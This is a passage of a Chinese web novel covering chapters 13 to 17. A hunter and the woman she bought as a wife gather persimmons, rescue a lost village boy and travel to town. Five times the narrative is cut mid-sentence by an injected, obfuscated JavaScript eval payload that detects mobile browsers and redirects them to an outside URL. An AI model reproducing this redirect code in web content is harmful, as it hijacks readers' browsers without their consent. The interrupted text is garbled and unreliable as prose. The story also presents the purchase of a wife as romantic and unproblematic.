夏时点头,已经主动走到前面去开路了,她手里的棍子也在草丛中随意敲打,却还回过头来对楚棠道:“其实家里还有驱虫的方子,制成药包,带上之后蛇虫鼠蚁都会避让。只不过我习惯山上这些东西了,许多年没用,家里就没准备。这次带你来也是我疏忽,抱歉,下次不会了。” 楚棠听她认真的解释道歉,心也不自觉柔软起来,又想起了之前的事——夏时买了她回来,给她当老婆是最初就默认的条件,但她之所以没有多少排斥,并不是因为她在危难时救了她。这人尊重她,照顾她,并不强迫她,在两人地位并不平等的前提下,每一样都是弥足珍贵的。 就像现在,她其实不必解释也不必道歉,但夏时还是认真的说了这些。 楚棠跟在夏时身后,看着她并不宽阔的肩背,忽然生出了一种可以依靠的安心。她抿了下唇,也不多说什么,却默默上前两步,主动牵住了夏时空着的那只手。 这还是第一次,以往都是夏时主动牵她的。 夏时不禁诧异回头,瞧见的却只有楚棠瓷白的侧脸,她根本不回头与她对视——这人性子果然很像猫啊,就算是主动示好,也要假装成若无其事。 就……有点可爱。 ************************************************************** 两人各怀心思的走了一路,所幸夏时看好的柿子树并不远,路上也再没生出什么波折。 只是等到了地方,楚棠抬头一看,才发现这山里的柿子树生得比她预想的高大太多,那枝头上金灿灿的柿子也远比想象中难摘——这树看着有三层楼那样高,站在树下是绝没有可能摘到柿子的,只有爬到树上去才方便摘。可这样高的柿子树,难爬也就罢了,万一摔下来才更糟糕。 楚棠立刻就打了退堂鼓,可她仰头看树的时候,夏时就已经开始“噌噌”爬树了。她爬得飞快,就好像习惯在树上攀爬的灵猴,楚棠只一个走神的功夫,人就已经爬到半路的枝丫上了。 一句话还没出口的楚棠,只好将话又咽了回去,免得骤然出声引得夏时分心。 直到夏时爬到了早已经选好的位置,坐在了粗壮的树枝上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240843|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲着树下的楚棠挥手打招呼,楚棠这才将憋着的的那口气松了。见夏时只顾着冲自己招手,又忙出声喊道:“别跟我挥手了,你小心些,别摔下来。柿子不好摘的话,也别强求。” 夏时闻言回了句“放心”,这才将注意力重新放回柿子树上。 柿子树的产量颇高,一棵树上结的果子也有几百斤,不过也正因为柿子显眼果子又甜的缘故,往往成熟之后很快就会引来鸟雀啄食。 夏时打眼一看,这树上的柿子已经有至少一半都被鸟啄过了,而且根据她的经验,被鸟啄过的果子往往是最甜的。她有些可惜,但这柿子树既然是野生的,自然也没有立场去怪抢先一步的鸟雀,于是只好捡着剩下的柿子摘。 她特意挑了两个看上去已经彻底成熟,又还没有被鸟雀啄过的柿子,招呼一声后扔下了树。楚棠只接到了一个,另一个在她脚边摔碎了,空气里都染上了柿子的香甜。 夏时毫不在意摔碎的柿子,自己坐在树上又摘了一个,一边剥皮一边冲树下的楚棠笑道:“这柿子很甜的,你尝尝看,喜欢的话我多摘一些回去。” 楚棠手里捧着柿子并没有吃,可嗅着空气中的甜香,也知道夏时说得没错。但比起让人多摘柿子,她还是希望对方能快些下来,不然她看着那高度都觉得揪心。于是便说道:“你摘一点就够了,不然摘回去吃不完也会浪费。” 饶是楚棠叮嘱,没一会儿功夫,夏时背上来的背篓也已经装了大半筐。余下的位置她也没打算空着,反正旁边还有几棵树,她大可以去那几棵树上再选好的。 摘完了柿子的夏时又“噌噌噌”爬下了树,背着一二十斤的柿子也灵活如初。 她给楚棠看自己的收获,又道:“这棵树上的柿子都被鸟啄过了,我就选到这些。还好旁边还有几棵树,我再去那边找找,凑够一筐回去还能做柿饼,慢慢吃。” 说完她就打算把背篓腾出来,然后继续爬树,结果还没等她动作,却先被楚棠一把抓住了手腕。后者这时才露出了一脸的心有余悸,语气也难得强硬起来:“够了,这些够吃了,不要再去爬树了。” 夏时愣了愣,这才意识到楚棠是在担心自己。她想说自己爬树的本事很好,根本不会摔下来,可想到自己刚才已经展示过,楚棠却还是担心,于是又将话咽了回去——明知她的本事却仍旧担心意外,不正是因为在意吗?她又何必违逆。 心情忽然明朗起来,夏时重新背上背篓,牵起楚棠的手:“好,听你的。” 14. 第 14 章 夏时背着半背篓柿子和楚棠回去了,路上留意到楚棠手里的柿子还没吃,就又拿了一个出来剥好皮再递给她,换了原本她手里的那个。 楚棠犹豫了一下,从小到大的教养,实在没有边走边吃的习惯。 可对上夏时那眼巴巴期待的目光,到底还是没能拒绝对方的好意。她低头在那橙黄的柿肉上咬了一口,清甜的滋味儿瞬间盈满了口腔。 确实很甜很好吃,楚棠的眼眸都不自觉眯了一下,露出两分喜欢来。 夏时见状自是高兴,也不急着走,只等楚棠吃完了这柿子才问:“怎么样,甜吧?反正摘了很多,要不要我再剥一个给你吃?” 楚棠明明意犹未尽,却摇头道:“不必,适量就好。” 两人于是又继续行路,但夏时心里却已经打定主意,等回头抽空就再来两趟,赶在柿子被鸟啄坏前再多摘些回去。吃不完就做成柿饼,正好等冬天了可以给楚棠当零嘴吃——这东西做成柿饼也很甜的,吃起来不比蜂蜜差,更重要的是老婆喜欢。 夏时心里盘算着这事,眼角余光忽然瞥见了什么,习惯性的反手抽刀就直接扔了出去。 走在她旁边的楚棠还没在敲打草丛,听到动静才回头问:“怎么了?” 夏时已经听到翅膀扑腾的声音了,眼睛一亮,脸上也带了笑,丢下句“等着”就跑了出去。不一会儿功夫,就见她手里提着一只羽毛斑斓漂亮的野鸡回来了,手中的猎刀也早见了血:“看,白捡一只野鸡,回去可以炒鸡吃了。” 楚棠从前不会在意一只野鸡,可现在听夏时这样说,心里也不由期待起来。 …… 接下来的两天,两人过得很是平淡。 楚棠依旧没有下过厨,她花了两天时间,把夏时那些刮破的衣裳全都补好了。夏时见状自然也不好意思让她太过劳累,便自己包揽了灶房的事,吃不完的柿子也削皮做了柿饼。 晾衣裳的架子上挂了满满两大串,黄澄澄的看着很是漂亮,就是少了些。 夏时心里又生起了去山里摘柿子的想法,只是楚棠上回的担心她还记得,因此便另寻了个借口背上背篓进山了。她说去去就回,楚棠也没在意,正好趁着空闲牵羊出去吃草。 只是还没等夏时回来,楚棠竟又遇见了村人上山。 这次领头的人不是田二,但看到熟人,楚棠到底安心了几分。因此她也没躲回院子里,隔着几丈远便冲众人打招呼,又问田二:“怎么这时候上山,是村里秋收结束了吗?” 田二便答:“还没呢,只稻子割完了……” 他话还没说完,就被领头的中年汉子打断了。汉子一脸愁苦,但想来是知道楚棠身份的,因此一开口便是:“夏时家的,买粮的事之后再说,夏时现在在家吗?” 楚棠着实被这称呼叫得怔了怔,心头一股异样的情绪随之蔓延开来。可现在显然不是让她慢慢消化情绪的好时候,眼见着对方眉眼间尽是藏不住的焦躁,便赶紧答道:“她刚进山捡柴去了,说一会儿就回来。你们要有事找她的话,不如留下等等?” 她说着看了眼旁边院门大开的院子,教养告诉她应该请人进去再倒杯茶,可私心里却并不想这么做——不说这些人她都不熟,光是来的这四五个全是男人,就不适合让人进门。 索性对方也根本没心思进门喝茶,一听夏时不在家,中年汉子就再也忍不住着急起来:“人不在,这可怎么办?这云雾山咱们都没进过几回,没有猎户领路的话,哪里去找他?!” 田二闻言赶忙安抚:“刘叔,别急,别急。捡柴可比打猎快,夏时一会儿就回来了,耽误不了事。” 几个同行的村人也都围上去安慰,楚棠站在一旁听了几句,约莫也听明白了事情始末——这位刘叔家的小儿子受不了种地的辛苦,觉得打猎是件轻松又赚钱的活计,于是趁着收完稻家人放松的时候,趁着天没亮揣着柴刀就进了山。 楚棠对于猎户面对的凶险,其实并没有太清晰的认知。 在她从前生长的环境里,狩猎只是项游戏,和蹴鞠马球也没什么不同的。毕竟贵人们狩猎前呼后拥不说,许多猎场甚至会提前清场,将真正凶恶的猛兽全都驱逐出去,只让他们玩得开心。也是因此,夏时当初进山两天猎鹿,她除了听到夜半狼嚎时有些担心之外,并没有想太多。 可这种“天真”在跟随夏时进山,看到那突然冒出来的条蛇起,就消失不见了。身后连绵的大山中不知藏着多少意外和凶险,一个懵懂的少年人贸然闯入,也无怪他的长辈如此焦急。 甚至楚棠听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246191|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完这事,都替那中年汉子着急……然后她陡然反应过来,这些人跑来这里,是来求夏时进山救人的。于是她的心态立刻就变了,无知犯错的懵懂少年,也变成了不知轻重的冒失鬼! 心思百转间,时间也不知不觉流逝,远处的山林里终于走出了一道熟悉的身影。 夏时刚去山里摘了满满一背篓的柿子,回来时背后沉甸甸的,脚下却很轻快。她也不担心回去之后楚棠见了会不高兴,毕竟她全须全尾的回来了,一点伤都没受。 只是还没走到家门口,远远就看到楚棠正站在院子外和几个人对峙。 夏时想也没想就快步冲了上去,直到离得近了她才认出,这几人正是山下石田村的村人。领头的刘老大和田二她都认识,一个家住村头时常看见,另一个是村长的侄儿,她以往买粮也都是问他家买的。现在这两人凑一起上山了,她一时也想到是为了什么,难不成是田二家的粮食不够卖了? 还不等夏时将这疑问出口,几人见到她却都激动起来:“回来了,回来了,可算回来了!” 这反应着实出人意料,夏时脚下一缓,更加不明所以。她看了看对面其实也不太熟的村人,最后将询问的目光投向了一旁的楚棠。 楚棠上前两步,正要与她说刘生的事,结果一眼就看到了她背篓里满得冒尖的柿子,哪还猜不到这人之前去了哪里。说什么捡柴全都是糊弄她的,于是话还没出口,她就先瞪了夏时一眼,那凶巴巴的眼神像是在说:等回头有空再找你算账! 夏时看懂了,赶紧去牵楚棠的手,又露出个讨好的笑。 两人一个眼神交流完毕,倒也没有在外人面前太出格,楚棠旋即便将刚听到的事告诉了她。 夏时听完却没什么意外的,因为这种事不是第一次发生了。村里的农户守着田地看天吃饭,就总觉得她们这些山里来去的猎户随随便便就能猎到猎物,还能每天吃肉。尤其少年人年轻气盛,一个冲动就进了山的,更不是什么新鲜事。 石田村从前也有过这样的事,但她都是听养父说的,亲身经历这倒也是头一回。不过每次村里有人冒失进山了,头一个来找的总是熟悉山林的猎户。 夏时知道推脱不掉,于是将背篓放进院子就转道出来了:“走吧,进山找人去。” 15. 第 15 章 夏时带着刘老大一行人进山去了。 楚棠当然没能跟去一起,被夏时拉着叮嘱几句之后,就牵着羊回去闭门不出了。 找人这事说难不难,说容易却也没那么容易。主要是夏时和刘生不熟,也不太清楚他从哪儿进的山,又会往哪里走。于是一开始进山,几乎是漫无目的的寻找,而她亲自跑这一趟唯一的好处也就是路熟,可以避开一些猛兽的地盘,不至于让上山寻人的这些人遇到危险。 因此夏时这一走就是大半天,别说中午回家吃饭了,直到下午日头西斜,楚棠也没等到人回来。倒是向来冷清的山中小院,今日又来了第二波客人。 和之前两次来的都是男人不同,这次登门的是两个妇人。两人显然是第一次来,挎着篮子在篱笆外张望了好一阵,这才敲响了院门。 彼时楚棠正在灶房里准备熬粥,听到动静赶忙跑了出来,还以为是夏时回来了,却不料是两个陌生的妇人。她心里不免有些失望,面上却没什么表现,只脚步慢了下来,仍与之前一样隔着篱笆问道:“不知两位有何贵干?” 两人对她的谨慎并不在意,隔着篱笆回道:“妹子放心,我们不是坏人。我是田二家的,她是石泉家的,都是山下村里的人。” 田二家的说完见楚棠依旧满脸茫然,不像是知道自家男人名字的样子,于是又赶紧解释了一句:“就是上次上山来找你换肉的人,我家男人是领头的那个,今天还来你家请人来着。” 她这样说,楚棠也就将人对上号了:“那,两位嫂子来此有何事?” 田二家的这才举起手里的篮子笑道:“我家男人还没回去,就想着你家夏时应该也还没回来。你别担心,她们就是上山找人,没事的。倒是夏时帮忙跑这一趟也不能白跑,这是刘家送的谢礼,我正好给你带上来,顺便也陪陪你。” 送礼是真的,来陪人也是真的,但并不是全部的原因。夏家这样的猎户是习惯了进山的,可山下的农户不一样,她们从小听说着云雾山的危险长大,对深山有着刻入骨子里的畏惧。 现在家里男人进山了,两个妇人等了半日早已是心焦,干脆来猎户家一起等。 楚棠自然不知道这些,但看着妇人手中沉甸甸的篮子,也不好再将人拒之门外。因此略一犹豫,她还是打开院门放人进来了。 两个妇人进门之后也没有东张西望,规规矩矩找了个地方把篮子放下了。楚棠这才看清篮子里的东西,一只篮子里装了大半篮的鸡蛋,也不知攒了多久,另一只篮子里则是满满当当的一篮子梨,应该是见她们上次下山买了梨,特地准备的。 礼物不算贵重,但也还算用心,楚棠紧绷的表情稍稍舒缓。 两个妇人鼻子却很灵,已经闻到空气中的烟火气了,当下不由对视一眼——她们此时登门自然不是为了蹭饭,事实上农家一天两顿,她们是吃了饭才来的。可好巧不巧,刚来就赶上人家做饭,再提留下就有些不合时宜了,看来只好告辞离去。 两人对这结果多少有些失望,毕竟田二一行从山里出来,多半是要走这边下山的。她们等在这里有人说话不提,等人回来了也能早些见着。 楚棠话不多,却将两人神色尽收眼底,也看出了两人即将出口的告辞。 原本她是不想挽留的,但就在这两人开口前,她忽然想到了什么,于是说道:“我有个不情之请,想请二位嫂子帮忙,不知可否?” *********************************************************** 秋收的忙碌持续了好些天,好不容易将地里的稻谷都收割完了,虽然之后还要晾晒脱粒,但暂时也能小小的松上一口气了。 刘生就是趁着这松懈的时候跑上山的。 他揣着柴刀,踌躇满志,脑海里都是邻居伙伴与他说的闲话——小伙伴姓石,家里的兄弟姐妹不少,他有个二哥前几年被送去了城里当伙计,如今已经留在了城中。前些天这石小二回村了一趟,与家人闲聊间就说起了山中的夏猎户。 他说夏猎户这些天往城里送了两回鹿,明泉楼借着鹿宴抢了他们家酒楼许多生意。他又说鹿肉昂贵,两头鹿至少能卖几十两银子。他还说夏时卖了鹿,就买了个媳妇回家,女郎也娶到了媳妇。 这些话小伙伴都当成闲话告诉了刘生,说话的人或许只是感慨羡慕,可听到本就不安分的刘生耳中,那颗蠢蠢欲动的心却是再也压不下了——他就说山上的小媳妇怎么生得比村里的姑娘都漂亮,原来是花钱买回来的,他要是有钱,是不是也能买个漂亮媳妇回来?! 十几岁的少年人正是春心萌动又爱俏的时候,这个念头一生出来,就再也按捺不住。他等到秋收告一段落,辗转反侧了一夜,终于还是揣着柴刀上山了。 他行为莽撞却自以为理智,明白自己没有夏时那样从小学习的狩猎本事,也不指望一山上就能猎头鹿扛去城里卖个几十两,但打只山鸡,猎个野兔什么的,总不是难事吧? 刘生就抱着这样的想法上了山,甚至为了避开夏时家,特地选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250749|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了另一个方向走。 他的想法也不是完全的不切实际,至少山上野鸡野兔很多是真的——云雾山连绵宽阔,里面不知生长着多少飞禽走兽,山上的猎人却并不多,石田村这一片地方只有夏时一个。因此她虽常年打猎,山上的猎物却并没有因此减少,摘个果子都能顺便劈只路过的野鸡。 刘生山上后也一样,没过多久他就发现了一只羽毛斑斓的野鸡。少年人眼睛顿时一亮,想也不想就扑了过去,结果自然是扑了个空,野鸡拍拍翅膀就飞走了。 于是等到他第二次遇见野鸡时就谨慎了许多,徐徐靠近后第一时间扔出了柴刀。 准头一般,擦着野鸡的翅膀飞了过去,野鸡因此受惊要飞,却发现翅膀伤了,飞也飞不远。 刘生见状大喜,捡了柴刀连忙追上去。可野鸡飞不远也是飞,刘生就只好一边挥刀开路一边追,双方僵持着也不知追了多久。等刘生反应过来,已经彻底看不到山下的村子,更不知自己走到了哪里。 但这时刘生并没有慌张,他认得大致方向总能摸下山的,当下还是觉得打猎要紧。肚子饿了也没关系,秋季的山林里多的是能吃的东西,随随便便就能填饱肚子。而且深山里没有人采摘,随便找到的野果都比村子旁的更甜,这大山深处简直就是个宝库! 踌躇满志的刘生花了大半天时间,几乎耗尽了体力,终于还是追到了那只被他砍伤的野鸡。抓着翅膀将野鸡提起来的那一刻,心头溢出的满足几乎冲散了疲惫。 他不是个贪心的人,既然想好了第一次猎只鸡就回去,这时也不打算改主意。 刘生转头准备回家了,可等他再次查看周围才发现,自己身在山林早已经不辨方位。踌躇犹豫好一阵,终于选定个方向开始迈步,但显然他的运气也就到此为止了。 从半下午开始,刘生一直走到天黑也没找到下山的路,暮色笼罩的山林终于让他生出些恐惧。 小孩子总是活泼且无畏的,村里的人怕孩子自己跑上山,总会将山中世界形容得可怕无比。刘生也是听着这样的话长大的,只是少年人的冲动压过了长辈的恐吓,而那些可怕的形容,又在天黑之后席卷而来。尤其在听到第一声狼嚎之后,这个看似无畏的少年,终于感到了腿软。 恰在这时,刘生感觉有什么撞到了他的小腿。刚听到狼嚎的刘生一个激灵,腿也不敢软了,抓了半天的野鸡也顾不上了,“噌噌噌”就爬上了身旁最近的一棵大树。 夏时等人听到“救命”找过来时,这小子正坐在树上抱着树干哭呢。 16. 第 16 章 夜晚的云雾山上一片漆黑,唯一的光亮正来源于山中猎户的小院。 往常天黑之后,夏时和楚棠总会早早进屋,尤其楚棠一个人在家的时候夏时更会多番叮嘱。究其原因,正是因为夜晚野兽活动频繁,即便是平日里很少有野兽出没的山林外围,也偶尔会有野兽出没。为安全计,晚上乖乖待在屋子里自然是最好的。 不过今晚是个例外。一来夏时到现在还没回来,二来身边有两个妇人作伴,向来冷清的小院也就不那么冷清了。三个女人干脆在院子里点了一堆篝火,等着人回来。 这一等,就几乎等到了半夜。 月上中天的时候,院子里的篝火渐渐小了,楚棠又从灶房里搬了些柴出来添在火堆里。她拨弄了一下燃烧正旺的火堆,听着柴火燃烧的噼啪声,再看一眼火堆旁两个一起等待的妇人,就见两人相互依靠着早已经困倦,这会儿脑袋一点一点的,多半是睡着了。 楚棠倒是不困,她更担心夏时,时不时就会起身去院门外看看。如此也不知走过几回,终于有一次,她在一片漆黑的山野之中,看到了几点跳跃的火光。 “快醒醒,她们回来了!”楚棠忽然出声喊了一句,眼睛却还盯着那几点火光。 院子里已经睡着的两个妇人也被这声音惊醒了,但显然一时半会儿没能反应过来。不过很快,清醒的两人看看眼前清醒,也想起了身在何处,立刻跟着跑出了院子。 火光已经越来越近了,两个妇人看见顿时喜道:“是火把,他们可算是回来了!” 举着火把的人走得很快,或者说领头的那个走得很快,没一会儿功夫就把后面跟随的人甩在了身后。她一路向着小院跑来,纵使相隔甚远,楚棠也从那熟悉的速度里认出了来人。 唇角不知不觉染上了笑,远处的火光映照在她眼中,化作了一点星光。 院子里的篝火很明亮,夏时隔着老远就看到家门口等着的人了。她一路小跑而来,直奔到楚棠面前才停下脚步,眉眼一弯露出个笑容:“我回来了。”说完牵起楚棠的手,又不免埋怨:“都这么晚了,你怎么没睡?还在院子外等着,多危险啊。” 楚棠没顾得上搭话,先借着火把的光将人上下打量了一番。夏时见状干脆在她面前转了一圈,任她查看,所幸除了衣裳又被刮破了几处外并无大碍。 放下心,楚棠这才接了之前的话:“你不在家,我睡不着,再说还有两个嫂子陪我一起等呢。” 夏时听到前半句时眼睛都笑眯了,等听完后半句目光一转,这才发现旁边还有两个眼熟的妇人瞧着。她倒也没有什么不好意思的,就是刚才一不小心,是真没留意到这里还有人。 两人见她看来也是松了口气,刚才那气氛她俩是真有点插不上嘴。这时才开口问道:“小夏,怎么样,没事吧?人找到了吗?” 夏时点头,随手往后指了指:“找到了,田二哥和石泉哥都在后头,没什么事。” 两人也看到那逐渐靠近的火光了,再加上夏时全须全尾回来,心里的担忧早就放下了七分。而现在得了夏时准话,这七分的放心里可就变成了十分。两人脸上也都带了笑,先是说:“都没事就好,没事就好。”说完又指着院子里:“你这跑了一天也饿了吧,你媳妇给你留了饭,快去吃。” 秋日的山林里不缺吃的,但成熟的多是野果之类,吃着不错却不怎么顶饿。这在山里跑了大半天回来,就算要洗漱休息,也得先填填肚子。 夏时倒没觉得饿,她这猎户多的是在山里找食的经验,饿着谁也不会饿着她。但骤然听说老婆还给自己留了饭,自然还是惊喜的,当下便对二人道:“那我先去看看。两位嫂子你们就在这儿等等,他们离得不远,一会儿就到了。” 两人都应了好,就见着夏时牵上楚棠一起进了院子。 楚棠主动去灶房里端了饭菜出来。饭是粥煮到一半加米煮成的饭,菜是田二嫂主厨她打下手做的熏肉炖萝卜——做菜时田二嫂还教了她一手,肉不知道怎么做就拿来炖,炖萝卜炖冬瓜甚至炖白菜,肉加菜再加点盐调味,怎么做都不会难吃。 事实也确实如此,两人都吃腻了的熏肉和萝卜一顿,立刻就成了全然不同的滋味儿,闻着香味就让人喜欢。夏时原本不饿的,这会儿也被勾起了食欲。 接过饭菜,夏时正想夸夸老婆,就听到院门外响起一片嘈杂。 是田二他们终于到了,但这人刚回来就闹出这样大的动静,楚棠也难免有几分好奇。她侧头往院门外看,耳边就传来夏时的声音:“别看了,没什么大事。就是找到刘生的时候,他正被只小野猪吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256716|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得蹿上了树,我们顺手就把野猪也给打了。” 吓着刘生的确实是只小野猪,打死了拎在手里也就二十来斤,从草丛里蹿出来的时候都只撞到了他的小腿。只是这小子胆子是真小,就这都被吓了个够呛,居然还想当猎户。 两人说话间,院子外的人也进来了,楚棠一眼就看到了那个跟在父亲身后蔫头耷脑的少年。 她看着有点眼熟,想了想发现是上次跟着田二上山,最先和她搭话的那人。不过两人的交集也仅止于此了,楚棠看过一眼之后就收回了目光,没打算多话。 夏时也没打算留这些人下来,说到底她家就两个女人,也不好留这一群男人过夜。于是她主动上前几步冲众人道:“山下就是村子,刘婶她们等了一天应该着急了。刘生既然没事,我就不留你们下来,大家都早些下山回家去吧。” 众人也是这个想法,都没打算留在这里继续叨扰。 田二上前两步将扛着的小野猪放了下来:“这是夏时你猎的,我替你背回来了,记得早些处理。” 刘老大也上前,走了两步又回头,扯了刘生一起:“今天这事多亏了你,叔记得你的好,过两日就送谢礼过来。”说着顺手在刘生后脑勺上一拍:“都是你小子不省心,还不快谢谢你夏姐。” 刘生蔫头耷脑的,原本也不是多强硬的人,这时活像是只落汤小鸡仔。他头都不敢抬,只黝黑的脸庞被院子里篝火的火光一映,像是红得要滴血,声音弱弱的:“谢谢夏姐,谢谢田二哥,谢谢大家上山找我。对不起,是我给大家添麻烦了。” 夏时不在意的摆手,又冲田二说道:“田二哥,这小野猪你拿下去吧,我家不缺这点肉。”说完见后者要拒绝,又道:“要不然我那这小野猪跟你家换只鸡?我媳妇每天都要吃鸡蛋,养只鸡也方便。” 小野猪不大,但怎么都比一只鸡贵得多,田二犹豫了下,还是高兴的答应了。 等这一群人热热闹闹的离开之后,夏时才吐出口气——想吃野猪她可以进山再猎,但这大半夜的她是真不想收拾。尤其这天还热,今晚不处理明天肉就该坏了。 小院里重归安静,夏时过去关上了院门,回来就见楚棠还在原地等她。 夏时顿了顿,心里忽然就像被填满了似得,变得踏实起来。 17. 第 17 章 “轰隆隆”的雷声响彻山野,随着一场秋雨降落,天气陡然变得凉爽起来。 所幸这场雨来得迟,也没耽误什么事——夏时背回来的柿子都已经做成柿饼收起来了,山下村子刚收割的稻谷也已经完成了晾晒,被各家收回了库房。甚至夏时还抽空下山去了一趟,将预定的粮食都买了回来,顺便也从田二家抓回了说好的那只鸡。 短时间内,需要做的事都做了。夜半被雷声惊醒的夏时只短暂的睁眼,看了看闪电投入屋中的光亮,很快就闭上眼再次陷入了香甜的睡梦之中。 翌日醒来,外间的雨已经停了,唯一给人留下的感知是骤然降低的气温——夏时一觉醒来发现怀里多了副柔软身躯,楚棠半夜都被骤降的气温冻到主动缩她怀里了,怎么不能证明这降温有多厉害呢?不过她对此并不反感,还稍稍有那么点窃喜就是了。 可惜楚棠醒来之后虽然红了脸,却很快脱离了她的怀抱,转眼又装作一副若有其事了。 夏时撇撇嘴,有点可惜,但也没说什么。她率先掀被下床,只穿着里衣的她下了床才发现,今早穿这么点确实有点凉了,当下就去衣柜里翻起了新衣。 她的衣裳并不算少,一来她狩猎本事不错日子过得宽裕,二来也是她很费衣裳自己还不会补,每次穿坏了都买新衣,久而久之自然积攒了不少。厚实的秋衣她当然也不缺,不仅给自己找了一身穿上,顺便还替楚棠找了件更厚些的。 只是将衣裳递给楚棠时,她才后知后觉意识到一件事。那就是楚棠来她家这么久了,穿的一只都是她的衣裳,自己居然没想起要给老婆置办两件新衣! 这事没想起来便罢了,想起来自然就该上心了,夏时想了想说道:“天气变凉,也快入冬了,咱们抽空去趟城里,给你买几件新衣吧。这秋衫你还能穿我的,但等入了冬,冬衣不合身的话可不保暖,得提前先准备起来了。” 两人的身材自然不同,楚棠纤细柔弱,夏时高挑健美,光论个头夏时就要比楚棠高上不少。她的衣裳楚棠当然也能穿,就是有些偏大,可大了的冬衣就透风了。 楚棠倒是无可无不可,反正她也穿不回从前的锦衣,新衣还不如旧衣柔软呢。 她看看窗外,随意的应答一声:“那等天气好些再说吧。雨天泥泞,山路可不好走。”顿了顿,不等夏时说什么又继续说道:“我不要你背,既住在这里,我自然得习惯自己走那山路。” 夏时只好无奈点头,所幸只是一场秋雨而已,就算天气转凉也不至于一下子冷到落雪。而等她打开房门往外一看,又乐了——昨夜一场暴雨声势浩大,但雨停之后留下的痕迹却不太多,至少她家院子里还不算太泥泞,雨水都顺着角落的水沟流出去了。 她又仰头看天,雨后清晨的天空像是被水洗过一般,满目蔚蓝,也不像是要继续下雨的样子。说不定都等不到明天,山路就能干透了。 楚棠紧跟在她身后出了门,嗅着雨后清醒的空气,眉眼也不由舒展开来。 …… 夏时的预估并没有差错,昨夜的雨下得并不久,早晨又出了太阳,晌午时路就干了。 她也是个风风火火的性子,原本没想起就算了,现在想起来了要带老婆进城买衣裳就一点也等不了。查看过山路情况后便兴冲冲跑回来说道:“路干了,咱们可以下山去了。” 楚棠没那么着急,但见夏时如此模样,自然也不好拒绝。 两人简单收拾收拾,就下了山。 楚棠也没说大话,这次下山她对这条山路有了清晰认知,一路走得小心又稳当,当真没让夏时背。不过是被她牵着手领着路,耗费了双倍的时间,终究还是安安稳稳到了山下。 夏时见状不吝夸赞:“厉害,第二次下山就走这么稳,今后你自己来去也不会为难了。” 楚棠被她夸得哭笑不得,她又不是三岁小孩儿,难道能自己出门是什么很了不得的事吗?她只得好笑的推了夏时一把:“好了,别乱夸了。时辰不早,咱们还得尽快赶去县城呢。” 也是,这个时辰进城,连牛车都没得坐。 ******************************************************* 两人抵达县城时,已经是午后了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265295|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 夏时往常带着猎物进城来卖,虽然背的东西多,但她脚程快,从石田村走到县城也就一个时辰不到的功夫。可和楚棠一起上路就不同了,她的注意力全在楚棠身上,一路上绕着人转来转去,嘴里也没闲着。倒是不知不觉走到了县城,可一看时间却多走了半个时辰,连午饭时间都错过了。 好在既然进了城,便也不缺吃的。夏时刚进城就揉了揉自己咕咕叫的肚子,扭头问楚棠:“已经中午了,你饿了吗,想吃些什么?” 楚棠看了眼这陌生的县城,便摇头道:“我没什么想吃的,都听你的。” 夏时闻言也不客气,牵着楚棠便熟门熟路的找到了一家摆在街尾的馄饨摊,然后熟稔的和摊主说:“吴叔,两碗鲜肉馄饨,多给点汤啊。” 